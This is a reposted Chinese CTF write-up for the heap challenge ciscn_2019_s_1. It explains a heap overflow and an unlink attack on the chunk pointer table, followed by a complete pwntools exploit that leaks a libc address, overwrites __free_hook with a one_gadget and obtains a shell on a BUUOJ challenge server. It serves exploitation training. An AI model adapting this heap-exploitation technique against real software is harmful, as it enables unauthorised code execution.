ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

ciscn_2019_s_1(unlink)

2022-01-08 22:33:26  阅读:240  来源: 互联网

标签:index ciscn show libc free 2019 sendlineafter unlink p64


到了考试周,有半个多月没有碰pwn了,趁放假多做一点题弥补一下和pwn师傅的差距

题目的例行检查我就不放了

malloc 函数

 

 可以看到malloc限制了chunk的大小。然后再heap处存chunk的指针便于管理

edit函数

 

 这里存在着漏洞,read时程序没有对v2进行严格的限制存在着堆溢出,然后edit程序放入了key1限制edit使用的次数

show函数

 

 程序再这里放入了key2,让用户无法使用show

free函数

 

 没看出漏洞

然后查看heap的位置

 

 

 

 我们可以看到key2和key1再heap的下面,所以我们可以通过unlink去修改这部分的内容

首先我们先申请把tcahe填满然后申请俩个chunk

 

 注意:index为32的chunk的指针刚好再pro的位置便于我们以后的利用

然后我们开始执行常规的unlink

 

 此时,经过unlink的操作后我们可以往heap地方填入数据

 

 注意:0x601fa0是free-plt的位置,然后我们将pro的地址覆盖成了0x6021e0,这样chunk32的头部指针就被覆盖为了pro的地址,我们对chunk32的输入就是对pro这片内存的输入,show(29)是0x601fa0

然后我们就可以成功的泄露出libc的地址再通过edit32去获得shell

 

 成功拿到shell

 

 完整的exp如下

from pwn import *

#p = process('./ciscn_s_1')
p = remote('node4.buuoj.cn',29082)

elf = ELF('./ciscn_s_1')
libc = ELF('./libc-2.27.so')
def launch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])

def add(index,size,content):
    p.sendlineafter('4.show','1')
    p.sendlineafter('index:',str(index))
    p.sendlineafter('size:',str(size))
    p.sendafter('content:',content)

def edit(index,content):
    p.sendlineafter('4.show','3')
    p.sendlineafter('index:',str(index))
    p.sendafter('content:',content)

def free(index):
    p.sendlineafter('4.show','2')
    p.sendlineafter('index:',str(index))
def show(index):
    p.sendlineafter('4.show','4')
    p.sendlineafter('index:',str(index))

bss_addr = 0x6020e0
key2 = 0x6020b8

#launch_gdb()

for i in range (1,8):
    add(i,0xf8,'bbbb')

add(32,0xf8,'aaaa')
add(9,0xf8,'cccc')

for i in range (1,8):
    free(i)
fd = bss_addr +32*0x8- 0x18
bk = bss_addr +32*0x8- 0x10
payload = p64(0)+p64(0xf0)
payload += p64(fd)+p64(bk)
payload = payload.ljust(0xf0,b'\x00')+p64(0xf0)

edit(32,payload)
free(9)
payload1 = p64(0x601fa0)+p64(0)*2+p64(0x6021e0)
payload1 = payload1.ljust(0xf0,b'\x00')
payload1 += p32(0x1)+p32(0x100)

edit(32,payload1)
show(0x1d)#29

free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('free_addr-->'+hex(free_addr))
libc_base = free_addr - libc.sym['free']
print('libc_base-->'+hex(libc_base))
one_gadget = libc_base + 0x4f322
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

edit(32,p64(free_hook))
edit(32,p64(one_gadget))
free(32)

p.interactive()

参考wp:

ciscn_2019_s_1 - 简书 (jianshu.com)

结束!!!

 

标签:index,ciscn,show,libc,free,2019,sendlineafter,unlink,p64
来源: https://www.cnblogs.com/zhuangzhouQAQ/p/15779849.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有